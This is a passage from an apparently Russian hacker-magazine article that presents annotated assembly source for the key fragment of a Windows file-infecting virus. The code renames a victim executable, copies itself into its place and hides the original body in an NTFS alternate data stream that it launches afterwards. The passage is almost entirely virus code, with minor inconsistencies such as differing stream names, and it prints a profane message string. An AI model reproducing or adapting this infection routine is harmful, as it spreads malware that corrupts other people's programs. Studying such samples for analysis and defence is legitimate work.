Захват и освобождение заложников в исполняемых файлов

Исходный код вируса


Естественные языки (ну типа там русский матерный или английский технический) с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и взаимно противоречивы. Поэтому, во избежание недоразумений продублируем описание алгоритма на языке ассемблера.

Ниже приведен исходный код ключевого фрагмента вируса с комментариями. Технические детали для экономии бумами опущены и лежат на лазерном диске, прилагаемом к журналу в файле xcode.asm.

section '.code' code readable executable

start:

       ; удаляем временный файл

       push godown

       call [DeleteFile]

      

       ; определяем наше имя

       push

1000

       push buf

       push 0



       call

[GetModuleFileName]

      

       ; считываем командную строку

       ; ключ --* filename - заразить

       call [GetCommandLine]

       mov ebp,eax

       xor ebx,ebx

       mov ecx, 202A2D2Dh ;

      

rool:

       cmp [eax], ecx             ; это '--*'?

       jz  infect

       inc eax

       cmp

[eax], ebx             ; конец командной строки?

       jnz rool

      

       ; выводим диагностическое сообщение,

       ; подтверждая свое присутствие в файле

       push   0

       push   aInfected

       push   aHello

       push   0

       call   [MessageBox]

      

       ; добавляем к своему имени имя NTFS-потока

       mov esi, code_name

       mov edi, buf

       mov ecx, 100; code_name_end - code_name

       xor eax,eax

       repne scasb

       dec edi

       rep movsb

      

       ; запускам NTFS-поток на выполнение

       push xxx

       push xxx

       push eax

       push eax

       push eax

       push eax

       push eax

       push eax

       push ebp

       push buf

       call [CreateProcess]

       jmp go2exit                ; выходим из вируса

infect:

       ; устанавливаем eax на первый символ имени файла-жертвы

       ; (далее по тексту dst)

       add    eax, 4

       xchg   eax, ebp


      

       xor eax,eax

       inc eax

      

       ; тут не помешает вставить проверку dst на заражение

      

       ; переименовываем dst в godown

       push godown

       push ebp

       call

[RenameFile]

      

       ; копируем в godown основной поток dst

       push eax

       push ebp

       push buf

       call [CopyFile]

      

       ; добавляем к своему имени имя NTFS-потока

       mov esi, ebp

       mov edi, buf

copy_rool:

       lodsb

       stosb

       test al,al

       jnz copy_rool

       mov esi, code_name

       dec edi

copy_rool2:

       lodsb

       stosb

       test al,al

       jnz copy_rool2

      

       ; копируем godown в dst:eatout

       push eax

       push buf

       push godown

       call [CopyFile]

      

       ; тут не помешает добавить коррекцию длины заражаемого файла,

      

       ; удаляем godown

       push godown

       call [DeleteFile]

      

       ; выводим диагностическое сообщение,

       ; подтверждающие успешность заражения файла

       push   0

       push   aInfected

       push   ebp

       push   0

       call   [MessageBox]

      

       ; выход из вируса

go2exit:

       push   0

       call   [ExitProcess]

      

section '.data' data readable writeable

       godown db "godown",0              ; имя временного файла

       code_name db ":eatmeout",0        ; имя потока, в котором будет…

       code_name_end:                           ; …сохранено основное тело

      

       ; различные текстовые строки, выводимые вирусом

       aInfected db "infected",0

       aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"

      

       ; различные буфера для служебных целей

       buf rb

1000

       xxx rb

1000

Листинг 1 исходный текст ключевого фрагмента вируса


Содержание раздела